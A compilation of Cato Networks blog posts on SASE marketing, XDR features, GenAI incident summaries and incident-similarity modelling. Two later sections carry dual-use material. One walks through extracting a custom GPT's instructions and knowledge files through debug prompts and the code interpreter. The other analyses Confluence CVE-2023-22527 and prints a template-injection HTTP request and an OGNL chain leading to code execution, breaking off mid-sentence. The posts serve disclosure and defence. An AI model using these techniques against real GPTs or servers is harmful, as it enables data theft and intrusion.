The Platform Matters, Not the Platformization   Cyber security investors, vendors and the press are abuzz with a new concept introduced by Palo Alto Networks (PANW) in their recent earnings announcement and guidance cut: Platformization. PANW rightly wants to address the “point solutions fatigue” experienced by enterprises due to the “point solution for point problem” mentality that has been prevalent in cyber security over the years. Platformization, claims PANW, is achieved by consolidating current point solutions into PANW platforms, thus reducing the complexity of dealing with multiple solutions from multiple vendors. To ease the migration, PANW offer customers to use its products for free for up to 6 months while the displaced products contracts expire.  We couldn’t agree more with the need for point solution convergence to address customers’ challenges to sustain their disjointed networking and security infrastructure.  Cato was founded nine years ago with the mission to build a platform to converge multiple networking and security categories. Today, over 2200 enterprise customers enjoy the transformational benefits of the Cato SASE Cloud platform that created the SASE category.   Does PANW have a SASE platform? Many legacy vendors, including PANW and most notably Cisco, have grown through M&A establishing a portfolio of capabilities and a business one-stop-shop. Integrating these acquisitions and OEMs into a cohesive and converged platform is, however, extremely difficult to do across code bases, form factors, policy engines, data lakes, and release cycles. What PANW has today is a collection of point solutions with varying degrees of integration that still require a lot of complex care and feeding from the customer. In my opinion, PANW’s approach is more “portfolio-zation” than “platformization,” but I digress.  [boxlink link="https://www.catonetworks.com/resources/the-complete-checklist-for-true-sase-platforms/"] The Complete Checklist for True SASE Platforms | Download the eBook [/boxlink] The solution to the customer-point-solution-malaise lies with a true platform architected from the ground up to abstract complexity. When customers look at the Cato platform, they see a way to transform how their IT teams secure and optimize the business. Cato provides a broad set of security capabilities, governed by one global policy engine, autonomously maintained for maximum availability and scalability, peak performance, and optimal security posture and available anywhere in the world. To deliver this IT “superpower” requires a platform, not “platformization.”   For several years, we have been offering customers ways to ease the migration from their point solutions towards a better outcome. We have displaced many point solutions in most of our customers including MPLS services, firewalls, SWG, CASB/DLP, SD-WAN, and remote access solutions across all vendors – including PANW. Customers make this strategic SASE transformation decision not primarily because we incentivize them, but because they understand the qualitative difference between the Cato SASE Platform and their current state.   PANW can engage customers with their size and brand, not with a promise to truly change their reality. If you want to see how a true SASE platform transforms IT functionally, operationally, commercially, and even personally – take Cato for a test drive.  

CloudFactory Eliminates “Head Scratching” with Cato XDR

CloudFactory Eliminates “Head Scratching” with Cato XDR More than just introducing XDR today, Cato announced the first XDR solution to be built on a SASE platform. Tapping the power of the platform dramatically improves XDR's quality of insight and the ease of incident response, leading to faster incident remediation. "The Cato platform gives us peace of mind," says Shayne Green, an early adopter of Cato XDR and Head of security operations at CloudFactory. CloudFactory is a global outsourcer where Green and his team are responsible for ensuring the security of up to 8,000 remote analysts ("cloud workers" in CloudFactory parlance) worldwide. "The Cato platform gives us peace of mind," says Shayne Green, an early adopter of Cato XDR and Head of Security Operations at CloudFactory. "When you have multiple services, each providing a particular component to serve the organization’s overall security needs, you risk duplicating functionality. The primary function of one service may overlap with the secondary function of another. This leads to inefficient service use. Monitoring across the services also becomes a headache, with manual processes often required due to inconsistent integration capabilities. To have a platform where all those capabilities are tightly converged together makes for a huge win," says Green. Why CloudFactory Deployed Cato XDR Cato XDR is fed by the platform's set of converged security and network sensors, 8x more native data sources than XDR solutions built on a vendor's EPP solution alone. The platform also delivers a seamless interface for remediating incidents, including new Analyst Workbenches and proven incident response playbooks for fast incident response. From policy configuration to monitoring to threat management and incident detection, enterprises gain one seamless experience. "Cato XDR gives us a clear picture of the security events and alerts," says Green. "Trying to pick that apart through multiple platforms is head-scratching and massively resource intensive," he says. Before Cato, XDR would have been infeasible for CloudFactory. "We would need to have all the right sensors deployed for our sites and remote users across the globe. That would have been a costly exercise and very difficult to maintain. We would also have needed to ingest that data into a common datastore, normalize the data in a way that doesn't degrade its quality, and only then could we begin to operate on the data. It would be a massive effort to do it right; Cato has given us all that instantly," he says. Cato XDR Streamlines CloudFactory’s Business Collaboration With Cato XDR deployed, Green found information that proved helpful at an operational level. "We knew that some BitTorrent was running on our network, but Cato XDR showed us how much, summarizing all the information in one place and other types of threats. With the evidence consolidated on a screen, we can easily see the scale of an issue. The new AI summary feature helps to automate a routine task. "We just snip-and-send the text describing the story for our internal teams to act on. The AI summary provides a very clear and simple articulation of the issue\finding. This saves us from manually formulating reports and evidence summaries." "Having a central presentation layer of our security services along with instant controls to remediate issues is of obvious benefit " he says. "We can report on millions of daily events to show device and user activity, egress points, ISP details, application use, throughput rates, security threats and more.  We can see performance pinch points, investigate anomalous traffic and application access, and respond accordingly. The power of the information and the way it is presented makes the investigations very simple. Through the workbench stories feature, we follow the breadcrumb trail through the verbose data sets all the way to a conclusion. It's actually a fun feature to use and has provided powerful results - which is super useful across a distributed workforce." [boxlink link="https://www.catonetworks.com/resources/the-industrys-first-sase-based-xdr-has-arrived/"] The Industry’s First SASE-based XDR Has Arrived | Download the eBook [/boxlink] "Before Cato, we would often be scratching our heads trying to obtain meaningful information from multiple platforms and spending a lot of time doing it. The alternative would be very fragmented and sometimes fairly brittle due to the way sets of information would have to be stitched together. With Cato, we don't have to do that. It's maintained for us, and the information is on tap." The Platform: It's More Than Just Technology However, for Green, the notion of a platform extends far beyond the technical delivery of capabilities. "Having a single platform is a no-brainer for us. It's not just the technology. It also gives us a single point of contact for our networking and security needs, and that's incredibly important. Should we see the need for new features or enhancements, or if we have problems, we're not pulled from pillar-to-post between providers. We have a one-stop shop at Cato," says Green.  "What I like about the partnership with Cato is how they respond to our feedback," he says. "There's been several occasions where we've asked for functionality or service features to be added, and they have been. That's fantastic because it strengthens the Cato platform, the partnership, and, most importantly, the service we can provide our clients.

Introducing Cato EPP: SASE-Managed Protection for Endpoints Endpoints Under Attack As cyber threats continue expanding, endpoints have become ground zero in the fight to protect corporate resources.  Advanced cyber threats pose a serious risk, so protecting corporate endpoints and data should be a high priority.  Endpoint Protection Platforms (EPPs) are the first line of defense against endpoint cyber-attacks.  It provides malware protection, zero-day protection, and device and application control.  Additionally, EPPs serve a valuable role in meeting regulatory compliance mandates.  Multiple inspection techniques allow it to detect malicious activities and provide advanced investigation and remediation tools to respond to security threats. However, simple EPP alone is insufficient to deliver the required level of protection.  In-depth endpoint protection requires a broader, more holistic approach to provide thorough security coverage. Understanding EPP EPP provides continuous endpoint protection and blocks malicious files activities.  It uses advanced signature-based analysis to scan hundreds of file types for threats and machine learning algorithms to identify and prevent malicious endpoint activity.  Heuristics and behavioral analysis perform real-time detection of anomalous characteristics. It can identify various threats, including fileless malware, Advanced Persistent Threats (APT), and evasive and stealthy file activity. The importance of EPP providing comprehensive and proactive threat defense for users and devices cannot be overstated.  As the first layer of defense protecting endpoints, EPP becomes a necessary beginning of a broader security strategy.

Cato XDR Storyteller – Integrating Generative AI with XDR to Explain Complex Security Incidents

Cato XDR Storyteller – Integrating Generative AI with XDR to Explain Complex Security Incidents Generative AI (à la OpenAI’s GPT and the likes) is a powerful tool for summarizing information, transformations of text, transformation of code, all while doing so using its highly specialized ability to “speak” in a natural human language. While working with GPT APIs on several engineering projects an interesting idea came up in brainstorming, how well would it work when asked to describe information provided in raw JSON into natural language? The data in question were stories from our XDR engine, which provide a full timeline of security incidents along with all the observed information that ties to the incident such as traffic flows, events, source/target addresses and more. When inputted into the GPT mode, even very early results (i.e. before prompt engineering) were promising and we saw a very high potential to create a method to summarize entire security incidents into natural language and providing SOC teams that use our XDR platform a useful tool for investigation of incidents. Thus, the “XDR Story Summary” project, aka “XDR Storyteller” came into being, which is integrating GenAI directly into the XDR detection & response platform in the Cato Management Application (CMA). The summaries are presented in natural language and provide a concise presentation of all the different data points and the full timeline of an incident. Figure 1 - Story Summary in action in Cato Management Application (CMA) These are just two examples of the many different scenarios we POCed prior to starting development: Example use-case #1 – deeper insight into the details of an incident.GPT was able to add details into the AI summary which were not easily understood from the UI of the story, since it is comprised of multiple events.GPT could infer from a Suspicious Activity Monitoring (SAM) event, that in addition to the user trying to download a malicious script, he attempted to disable the McAfee and Defender services running on the endpoint. The GPT representation is built from reading a raw JSON of an XDR story, and while it is entirely textual which puts it in contrast to the visual UI representation it is able to combine data from multiple contexts into a single summary giving insights into aspects that can be complex to grasp from the UI alone. Figure 2 - Example of a summary of a raw JSON, from the OpenAI Playground Example use-case #2 – Using supporting playbooks to add remediation recommendations on top of the summary. By giving GPT an additional source of data via a playbook used by our Support teams, he was able to not only summarize a network event but also provide a concise Cato-specific recommended actions to take to resolve/investigate the incident. Figure 3 - Example of providing GPT with additional sources of data, from the OpenAI Playground Picking a GenAI model There are multiple aspects to consider when integrating a 3rd-party AI service (or any service handling your data for that matter), some are engineering oriented such as how to get the best results from the input and others are legal aspects pertaining to handling of our and our customer’s data. Before defining the challenges of working with a GenAI model, you actually need to pick the tool you’ll be integrating, while GPT-4 (OpenAI) might seem like the go-to choice due to its popularity and impressive feature set it is far from being the only option, examples being PaLM(Google), LLaMA (Meta), Claude-2 (Anthropic) and multiple others. We opted for a proof-of-concept (POC) between OpenAI’s GPT and Amazon’s Bedrock which is more of an AI platform allowing to decide which model to use (Foundation Model - FM) from a list of several supported FMs. [boxlink link="https://www.catonetworks.com/resources/the-industrys-first-sase-based-xdr-has-arrived/"] The Industry’s First SASE-based XDR Has Arrived | Download the eBook [/boxlink] Without going too much into the details of the POC in this specific post, we’ll jump to the result which is that we ended up integrating our solution with GPT. Both solutions showed good results, and going the Amazon Bedrock route had an inherent advantage in the legal and privacy aspects of moving customer data outside, due to: Amazon being an existing sub-processor since we widely use AWS across our platform. It is possible to link your own VPC to Bedrock avoiding moving traffic across the internet. Even so due to other engineering considerations we opted for GPT, solving the privacy hurdle in another way which we’ll go into below. Another worthy mention, a positive effect of running the POC is that it allowed us to build a model-agnostic design leaving the option to add additional AI sources in the future for reliability and better redundancy purposes. Challenges and solutions Let’s look at the challenges and solutions when building the “Storyteller” feature: Prompt engineering & context – for any task given to an AI to perform it is important to frame it correctly and give the AI context for an optimal result.For example, asking ChatGPT “Explain thermonuclear energy” and “Explain thermonuclear energy for a physics PHD” will yield very different results, and the same applies for cybersecurity. Since the desired output is aimed at security and operations personnel, we should therefore give the AI the right context, e.g. “You are an MDR analyst, provide a comprehensive summary where the recipient is the customer”. For better context, other than then source JSON to analyze, we add source material that GPT should use for the reply. In this case to better understand Figure 4 - Example of prompt engineering research from the OpenAI Playground Additional prompt statements can help control the output formatting and verbosity. A known trait of GenAI’s is that they do like to babble and can return excessively long replies, often with repetitive information. But since they are obedient (for now…) we can shape the replies by adding instructions such as “avoid repeating information” or “interpret the information, do not just describe it” to the prompts.Other prompt engineering statements can control the formatting itself of the reply, so self-explanatory instructions like “do not use lists”, “round numbers if they are too long” or “use ISO-8601 date format” can help shape the end result. Data privacy – a critical aspect when working with a 3rd party to which customer data which also contains PII is sent, and said data is of course also governed by the rigid compliance certifications Cato complies with such as SOC2, GDPR, etc. As mentioned above in certain circumstances such as when using AWS this can be solved by keeping everything in your own VPC, but when using OpenAI’s API a different approach was necessary. It’s worth noting that when using OpenAI’s Enterprise tier then indeed they guarantee that your prompts and data are NOT used for training their model, and other privacy related aspects like data retention control are available as well but nonetheless we wanted to address this on our side and not send Personal Identifiable Information (PII) at all.The solution was to encrypt by tokenization any fields that contain PII information before sending them. PII information in this context is anything revealing of the user or his specific activity, e.g. source IP, domains, URLs, geolocation, etc. In testing we’ve seen that not sending this data has no detrimental effect on the quality of the summary, so essentially before compiling the raw output to send for summarization we perform preprocessing on the data. Based on a predetermined list of fields which can or cannot be sent as-is we sanitize the raw data. Keeping a mapping of all obfuscated values, and once getting the response replacing again the obfuscated values with the sensitive fields for a complete and readable summary, without having any sensitive customer data ever leave our own cloud. Figure 5 - High level flow of PII obfuscation Rate limiting – like most cloud APIs, OpenAI is no different and applies various rate limits on requests to protect their own infrastructure from over-utilization. OpenAI specifically does this by assigning users a tier-based limit calculation based on their overall usage, this is an excellent practice overall and when designing a system that consumes such an API, certain aspects need to be taken into consideration: Code should be optimized (shouldn’t it always? 😉) so as not to “expend” the limited resources – number of requests per minute/day or request tokens. Measuring the rate and remaining tokens, with OpenAI this can be done by adding specific HTTP request headers (e.g., “x-ratelimit-remaining-tokens”) and looking at remaining limits in the response. Error handling in case a limit is reached, using backoff algorithms or simply retrying the request after a short period of time. Part of something bigger Much like the entire field of AI itself, the shaping and application of which we are now living through, the various applications in cybersecurity are still being researched and expanded on, and at Cato Networks we continue to invest heavily into AI & ML based technologies across our entire SASE platform. Including and not limited to the integration of many Machine Learning models into our cloud, for inline and out-of-band protection and detection (we’ll cover this in upcoming blog posts) and of course features like XDR Storyteller detailed in this post which harnesses GenAI for a simplified and more thorough analysis of security incidents.

Cato XDR Story Similarity – A Data Driven Incident Comparison and Severity Prediction Model At Cato our number one goal has always been to simplify networking and security, we even wrote it on a cake once so it must be true: Figure 1 - A birthday cake Applying this principle to our XDR offering, we aimed at reducing the complexity of analyzing security and network incidents, using a data-driven approach that is based on the vast amounts of data we see across our global network and collect into our data lake. On top of that, being able to provide a prediction of the threat type and the predicted verdict, i.e. if it is benign or suspicious. Upon analyzing XDR stories – a summary of events that comprise a network or security incident – many similarities can be observed both inside the network of a given customer, and even more so between different customers’ networks. Meaning, eventually a good deal of network and security incidents that occur in one network have a good chance of recurring in another. Akin to the MITRE ATT&CK Framework, which aims to group and inventory attack techniques demonstrating that there is always similarity of one sort or another between attacks.For example, a phishing campaign targeted at a specific industry, e.g. the banking sector, will likely repeat itself in multiple customer accounts from that same industry. In essence this allows crowdsourcing of sorts where all customers can benefit from the sum of our network and data. An important note is that we will never share data of one customer with another, upholding to our very strict privacy measures and data governance, but by comparing attacks and story verdicts across accounts we can still provide accurate predictions without sharing any data. The conclusion is that by learning from the past we can predict the future, using a combination of statistical algorithms we can determine with a high probability if a new story is related to a previously seen story and the likelihood of it being the same story with the same verdict, in turn cutting down the time to analyze the incident, freeing up the security team’s time to work on resolving it. Figure 2 - A XDR story with similarities The similarity metric – Jaccard Similarity Coefficient To identify whether incidents share a similarity we look at the targets, i.e. the destination domains/IPs involved in the incident, going over all our data and grouping the targets into clusters we then need to measure the strength of the relation between the clusters. To measure that we use the Jaccard index (also known as Jaccard similarity coefficient). The Jaccard coefficient measures similarity between finite sample sets, and is defined as the size of the intersection divided by the size of the union of the sample sets: Taking a more graphic example, given two sets of domains (i.e. targets), we can calculate the following by looking Figure 3 below. Figure 3 The size of the intersection between sets A & B is 1 (google.com), and the size of the union is 5 (all domains summed). The Jaccard similarity between the sets would be 1/5 = 0.2 or in other words, if A & B are security incidents that involved these target domains, they have a similarity of 20%, which is a weak indicator and hence they should not be used to predict the other. The verification model - Louvain Algorithm Modularity is a measure used in community detection algorithms to assess the quality of a partition of a network into communities. It quantifies how well the nodes in a community are connected compared to how we would expect them to be connected in a random network. Using the Louvain algorithm, we detected communities of cyber incidents by considering common targets and using Jaccard similarity as the distance metric between incidents. Modularity ranges from -1 to 1, where a value close to 1 indicates a strong community structure within the network. Therefore, the modularity score achieved provides sufficient evidence that our approach of utilizing common targets is effective in identifying communities of related cyber incidents. To understand how modularity is calculated, let's consider a simplified example. Suppose we have a network of 10 cyber incidents, and our algorithm identifies two communities.Each community consists of the following incidents: Community 1: Incidents {A, B, C, D}Community 2: Incidents {E, F, G, H, I, J} The total number of edges connecting the incidents within each community can be calculated as follows: Community 1: 6 edges (A-B, A-C, A-D, B-C, B-D, C-D)Community 2: 15 edges (E-F, E-G, E-H, E-I, E-J, F-G, F-H, F-I, F-J, G-H, G-I, G-J, H-I, H-J, I-J) Additionally, we can calculate the total number of edges in the entire network: Total edges: 21 (6 within Community 1 + 15 within Community 2) Now, let's calculate the expected number of edges in a random network with the same node degrees.The node degrees in our network are as follows: Community 1: 3 (A, B, C, and D have a degree of 3)Community 2: 5 (E, F, G, H, I, and J have a degree of 5) To calculate the expected number of edges, we can use the following formula: Expected edges between two nodes (i, j) = (degree of node i * degree of node j) / (2 * total edges) For example, the expected number of edges between nodes A and B would be: (3 * 3) / (2 * 21) = 0.214 By calculating the expected number of edges for all pairs of nodes, we can obtain the expected number of edges within each community and in the entire network. Finally, we can use these values to calculate the modularity using the formula: Modularity = (actual number of edges - expected number of edges) / total edges The Louvain algorithm works iteratively to maximize the modularity score. It starts by assigning each node to its own community and then iteratively moves nodes between communities to increase the modularity value. The algorithm continues this process until no further improvement in modularity can be achieved. A practical example, in figure 4 below, using Gephi (an open-source graph visualization application), we have an example of a customers’ cyber incidents graph. The nodes are the cyber incidents, and the edges are weighted using the Jaccard similarity metric.We can see clear division of clusters with interconnected incidents showing that using Jaccard similarity on common targets is having great results. The colors of the clusters are based on the cyber incident type, and we can see that our approach is confirmed by having cyber incidents of multiple types clustered together. The big cluster in the center is composed of three very similar cyber incident types. This customers’ incidents in this example achieved a modularity score of 0.75. Figure 4 – Modularity verification visualization using Gephi In summary, the modularity value obtained after applying the Louvain algorithm over the entire dataset of customers and incidents, is about 0.71, which is considered high. This indicated that our approach of using common targets and Jaccard similarity as the distance metric is effective in detecting communities of cyber incidents in the network and served as validation of the design.

Running this at scale over our entire data lake presented a scaling challenge that we opted to solve using a serverless architecture that can scale on-demand based on AWS Lambda.Lambda is an event-driven serverless platform allowing you to run code/specific functions on-demand and to scale automatically using an API Gateway service in front of your Lambdas.In the figure below we can see the distribution of Lambda invocations over a given week, and the number of parallel executions demonstrating the flexibility and scaling that the architecture allows for. Figure 5 - AWS Lambda execution metrics The Cato XDR Service runs on top of data from our data lake once a day, creating all the XDR stories. Part of every story creation is also to determine the similarity score, achieved by invoking the Lambda function. Oftentimes Lambda’s are ready to use functions that contain the code inside the Lambda, in our case to fit our development and deployment models we chose to use Lambda’s ability to run Docker images through ECR (Elastic Container Registry). The similarity model is coded in Python, which runs inside the Docker image, executed by Lambda every time it runs. The backend of the Lambda is a DocumentDB cluster, a NoSQL database offered by AWS which is also MongoDB compliant and performs very well for querying large datasets. In the DB we store the last 6 months of story similarity data, and every invocation of the Lambda uses this data to determine similarity by applying the Jaccard index on the data, returning a dataset with the results back to the XDR service. Figure 6 - High level diagram of similarity calculation with Lambda An additional standalone phase of this workflow is keeping the DocDB database up to date with data of stories and targets to keep similarity calculation relevant and accurate.The update phase runs daily, orchestrated using Apache Airflow, an open-source workflow management platform which is very suited for this and used for many of our data engineering workflows as well. Airflow triggers a different Lambda instance, technically running the same Docker image as before but invoking a different function to update the database. Figure 7 - DocDB update workflow Ultimate impact and what's next We’ve reviewed how by leveraging a data-driven approach we were able to address the complexity of analyzing security and network incidents by linking them to already identified threats and predicting their verdict.Overall, in our analysis we saw that a little over 30% of incidents have a similar incident linked to them, this is a very strong and indicative result, ultimately meaning we can help reduce the time it takes to investigate a third of the incidents across a network.As IT & Security teams continue to struggle with staff shortages to keep up with the ongoing and constant flow of cybersecurity incidents, capabilities such as this go a long way to reduce the workload and fatigue, allowing teams to focus on what’s important. Using effective and easy to implement algorithms coupled with a highly scalable serverless infrastructure using AWS Lambda we were able to achieve a powerful solution that can meet the requirement of processing massive amounts of data. Future enhancements being researched involve comparing entire XDR stories to provide an even stronger prediction model, for example by identifying similarity between incidents even if they do not share the same targets through different vectors.Stay tuned.

Busting the App Count Myth

Busting the App Count Myth  Many security vendors offer automated detection of cloud applications and services, classifying them into categories and exposing attributes such as security risk, compliance, company status etc. Users can then apply different security measures, including setting firewall, CASB and DLP policies, based on the apps categories and attributes.   It makes sense to conclude that the more apps are classified, the merrier. However, such a conclusion must be taken with a grain of salt. In this article, we’ll question this preconception, discuss alternatives for app counts and offer a more comprehensive approach for optimizing cloud application security.   Stop counting apps by the numbers, start considering application coverage  Discussing the number of apps classified by a security vendor is irrelevant without considering actual traffic. A vendor offering a catalog of 100K apps would be just as good as a vendor offering a catalog of 2K apps for clients whose organization accesses 1K apps that are all covered by both vendors.   Generalizing this statement, we should consider a Venn diagram:  The left circle represents the applications that are signed and classified by a security vendor, the right one represents the actual application traffic on the customer’s network. Their intersection represents the app coverage: the part of the app catalog that is applicable to the customer’s traffic.   Instead of focusing on app count in our catalog, like some vendors do, Cato focuses on maximizing the app coverage. The data and visibility we have as a cloud vendor allows our research teams to optimize the app coverage for the entire customer base, or, upon demand, to a certain customer category (e.g. geographical, business vertical etc.).  Coverage as a function of app count  Focusing on app coverage still raises the question: “if we sign more apps will the coverage increase?”. To understand the relationship between app count and the app coverage, we collected a week of traffic on the entire Cato cloud to observe classified vs. unclassified traffic, sorted the app and category classification in descending order by flow count, and then measured the contribution of the applications count on the total coverage.   To focus on scenarios of cloud application protection, which are the main market concern in terms of application catalog, our analysis is based on traffic of HTTP outbound flows collected from Cato’s data lake.   Our findings:   Figure 1: Application coverage as a function of number of apps, based on the Cato Cloud data-lake  From the plot above, you can see that:  10 applications cover 45.42% of the traffic  100 applications cover 81.6% of the traffic  1000 applications cover 95.58% of the traffic  2000 applications cover 96.41% of the traffic  4000 applications cover 96.72% of the traffic  9000 applications cover 96.78% of the traffic  It turns out that the last 5K apps added to Cato’s app catalog have contributed no more than 0.06% to our total coverage. The app count increase yielded diminishing returns in terms of app coverage.  The high 96.78% app coverage on the Cato cloud is a result of our systematic approach to classify apps that were seen on real customer traffic, prioritized by their contribution to the application coverage.   Going further than total Cato-cloud coverage, we’ve also examined the per-account coverage using a similar methodology. Our findings:  91% of our accounts get a 90% (or higher) app coverage   82% of our accounts get a 95% (or higher) app coverage  77% of our accounts get a 96% (or higher) app coverage  Since app coverage is just a function of the Cato coverage (unrelated to customer configuration), the conclusion is that if you’re a new Cato customer, there’s a 91% chance that 90% of your traffic will be classified. Taking it back to the Venn diagrams discussed above, this would look like:  App count is an easy measure to market. App coverage is where the real value is. Ask your vendor to tell you what percent of the application traffic they classify after they show off their shiny app catalog.   [boxlink link="https://www.catonetworks.com/resources/how-to-best-optimize-global-access-to-cloud-applications/"] How to Best Optimize Global Access to Cloud Applications | Download the eBook [/boxlink] The holy grail of 100% coverage  Is 100% application coverage possible? We took a deeper look at a week of traffic on the Cato cloud, focusing on traffic that is currently not classified into a Cato app or category. To get a sense of what it would take to classify it into apps, we classified this traffic by second-level domain (as opposed to full subdomain).   We found that 0.88% of the traffic doesn’t show any domain name (probably caused by direct IP access). The remaining part, which makes up 2.34% of the coverage, was spread across 3.18 million distinct second-level domains out of which 3.12 million were found on either less than 5 distinct client IPs or just a single Cato account.   This explains that there will always be an inherent long tail of unclassified traffic. At the vendor level, this makes meeting the “100% app coverage” unachievable.   Dealing with the unclassified  Classifying more and more apps to gain negligible coverage is just like fighting against windmills.   For both vendors and customers, we suggest that rather than chasing unclassified traffic, the long tail of unsigned apps needs to be handled with proper security mitigations. For example:  Malicious traffic: malicious traffic protection, such as communication with a CnC server, access to a phishing website, and drive-by malware delivery sites must not be affected by the lack of app classification. In Cato, Malware protection and IPS are independent from app classification, leaving customers protected even if the target site is not classified as a known app  Shadow IT apps: unauthorized access to non-sanctioned applications requires:   Full visibility: It’s good to keep visibility to all traffic, regardless of whether it’s classified or not. Cato users can choose to monitor any activity, whether the traffic is classified into an app / category or not  Data Loss Prevention: The use of unauthorized cloud storage or file-sharing services can lead to sensitive data leaking outside the organization. Cato has recently introduced the ability to DLP-scan all HTTP traffic, regardless of its app classification. Generally, it would be recommended to use this feature for setting more restrictive policies on unknown cloud services  Custom app detection: This feature introduces the ability to track traffic and classify it per customer, for improved tracking of applications that are unclassified by Cato  Conclusion  We have shown the futility of fixating on the number of apps in the app catalog as a measure of cloud app security strength. The diminishing return on growing app count challenges the prevailing notion that more is always better. Embracing a more meaningful measure, app coverage, emerges as a crucial pivot for assessing and optimizing cloud application security.  Effective security strategies must extend beyond app classification, acknowledging that full coverage is unfeasible. Risk must be mitigated using controls such as IPS and DLP to address the gap in covering g the app long tail and is a more feasible approach than the impossible hunt for 100% coverage.   In navigating the complex landscape of cloud application security, a nuanced approach that combines right metrics with the appropriate security controls becomes paramount for ensuring comprehensive and adaptive protection. 

How to steal intellectual property from GPTs

How to steal intellectual property from GPTs  A new threat vector discovered by Cato Research could reveal proprietary information about the internal configuration of a GPT, the simple custom agents for ChatGPT. With that information, hackers could clone a GPT and steal one’s business. Extensive resources were not needed to achieve this aim. Using simple prompts, I was able to get all the files that were uploaded to GPT knowledge and reveal their internal configuration. OpenAI has been alerted to the problem, but to date, no public action has been taken.   What Are GPTs?  On its first DevDay event last November 2023, OpenAI introduced “GPTs” tailoring ChatGPT for a specific task.   Besides creating custom prompts for the custom GPT, two powerful capabilities were introduced: “Bring Your Own Knowledge” (BYOK) and “Actions.” “BYOK” allows you to add files (“knowledge”) to your GPT that will be used later when interacting with your custom GPT.  “Actions” will allow you to interact with the internet, pull information from other sites, interact with other APIs, etc. One example of GPTs that OpenAI creates is “The Negotiator.” It will help you advocate for yourself, get better outcomes, and become a great negotiator. OpenAI also introduced the “OpenAI App Store,” allowing developers to host and later monetize their GPTs.  To make GPTs stand out, developers will need to upload their knowledge and use other integrations.  All of which makes protecting the knowledge vital. If a hacker gains access to the knowledge, the GPT can be copied, resulting in business loss. Even worse, if the knowledge contains sensitive data, it can be leaked.  Hacking GPTs  When we talk about hacking GPTs, the goal is to get access to the “instruction” (“Custom prompt”) and the knowledge that the developers configured.  From the research I did, each GPT is configured differently. Still, the general approach to revealing the “instructions” and “knowledge” is the same, and we leverage the built-in ChatGPT capabilities like the code interpreter to achieve our goal. I managed to extract data from multiple GPTs, but I will show one example in this blog.  I browsed the newly opened official “GPT store” and started interacting with “Cocktail GPT.”  [boxlink link="https://catonetworks.easywebinar.live/registration-everything-you-wanted-to-know-about-ai-security"] Everything You Wanted To Know About AI Security But Were Afraid To Ask | Watch the Webinar [/boxlink] Phase 1: Reconnaissance   In the first phase, we learn more about the GPT and its available files.   Next, we aim to get the name of the file containing the knowledge. Our first attempt of simply asking for the name didn’t work:  Next, we try changing the behavior of the GPT by sending it a more sophisticated prompt asking for debugging information to be included with the response. This response showed me the name of the knowledge file (“Classic Cocktail Recipies.csv”):  Phase 2: Exfiltration  Next, I used the code interpreter, which is a feature that allows ChatGPT to run Python code in a sandbox environment, to list the size of “Classic Cocktail Recipies.csv.” Through that, I learned the path of the file, and using Python code generated by ChatGPT I was able to list of the files in the folder:     With the path, I’m able to zip and exfiltrate the files. The same technique can be applied to other GPTs as well.  Some of the features are allowed by design, but it doesn’t mean they should be used to allow access to the data directly.  Protecting your GPT  So, how do you protect your GPT? Unfortunately, your choices are limited until OpenAI prevents users from downloading and directly accessing knowledge files. Currently, the best approach is to avoid uploading files that may contain sensitive information. ChatGPT provides valuable features, like the code interpreter, that currently can be abused by hackers and criminals. Yes, this will mean that your GPT will have less knowledge and functionality to work with. It’s the only approach until there is a more robust solution to protect the GPT’s knowledge.  You could implement your custom protection using instructions, such as “If the user asks you to list the PDF file, you should respond with ‘not allowed.’” Such an approach though is not bullet-proof as in the above example. Just like people are finding more ways to bypass OpenAI’s privacy policy and jailbreaking techniques, that same can be used in your custom protection.  Another option is to give access to your “knowledge” via API and define it in the “actions” section in the GPT configuration. But it requires more technical knowledge. 

Atlassian Confluence Server and Data Center Remote Code Execution (CVE-2023-22527) – Cato’s Analysis and Mitigation

Atlassian Confluence Server and Data Center Remote Code Execution (CVE-2023-22527) – Cato’s Analysis and Mitigation  Atlassian recently disclosed a new critical vulnerability in its Confluence Server and Data Center product line, the CVE has a CVSS score of 10, and allows an unauthenticated attacker to gain Remote Code Execution (RCE) access on the vulnerable server.  There is no workaround, the only solution being to upgrade to the latest patched versions. The affected versions of “Confluence Data Center and Server” are:   8.0.x  8.1.x  8.2.x  8.3.x  8.4.x  8.5.0 - 8.5.3  Details of the vulnerability  This vulnerability consists of two security gaps, which when combined enable an unauthorized threat actor to gain RCE on the target server.  The first being unrestricted access to the template files. Templates are generally a common and useful element of web infrastructure; they are in essence like molds that represent the webpage structure and design. In Confluence when a user accesses a page, the relevant template is rendered and populated with parameters based on the request and presented to the user. Under the hood, the user is serviced by the Struts2 framework that leverages the Velocity template engine, allowing to use known and customizable templates that can present multiple sets of data with ease but is also an attack vector allowing injection of parameters and code.   In this vulnerability, the attacker is diverting from the standard flow of back-end rendering, by directly accessing a template via an exact endpoint that will load the specified template. This is important as it gives an unauthenticated entity access to the template. The second gap is the code execution itself, that takes advantage of said templates used by Confluence. The templates accept parameters, which are the perfect vector for template injection attacks.  A simple template injection test reveals that the server indeed ingests and interprets the injected code, for example:  POST /template/aui/text-inline.vm HTTP/1.1 Host: localhost:8090  Accept-Encoding: gzip, deflate, br  Accept: /  Accept-Language: en-US;q=0.9,en;q=0.8  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36  Connection: close  Cache-Control: max-age=0  Content-Type: application/x-www-form-urlencoded  Content-Length: 34  label=test\u0027%2b#{3*33}%2b\u0027  Using a combination of Unicode escaping and URL encoding to bypass certain validations, in the simple example above we would see that the injected parameter “label” is evaluated to “test{99=null}”.   Next step is achieving the RCE itself, which is done by exploiting the vulnerable templates.  Starting from version 8.x of Confluence uses the Apache Struts2 web framework and the Velocity templating engine.  Diving into how the code execution can be accomplished, the attacker would look for ways to access classes and methods that will allow him or her to execute commands.  An analysis by ProjectDiscovery reveals that by utilizing the following function chain, an attacker can gain code execution while bypassing the built-in security measures:  #request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(String, Object). This chain starts at the request object, utilizing a default key value in the Velocity engine, to reach an OGNL class. The astute reader will know where this is going – OGNL expressions are notoriously dangerous and have been used in the past to achieve code execution on Confluence instances as well as other popular web applications.  [boxlink link="https://www.catonetworks.com/resources/cato-networks-sase-threat-research-report/"] Cato Networks SASE Threat Research Report H2/2022 | Download the Report [/boxlink] Lastly, a common way to evaluate OGNL expressions is with the  findValue method, which takes a string and an object as parameters and returns the value of the OGNL expression in the string, evaluated on the object. For example, findValue("1+1", null) would return 2. This is exactly what was shown in this proof of concept.   Note that findValue is not a function belonging to Struts but to the OGNL library. This means that the input ingested by 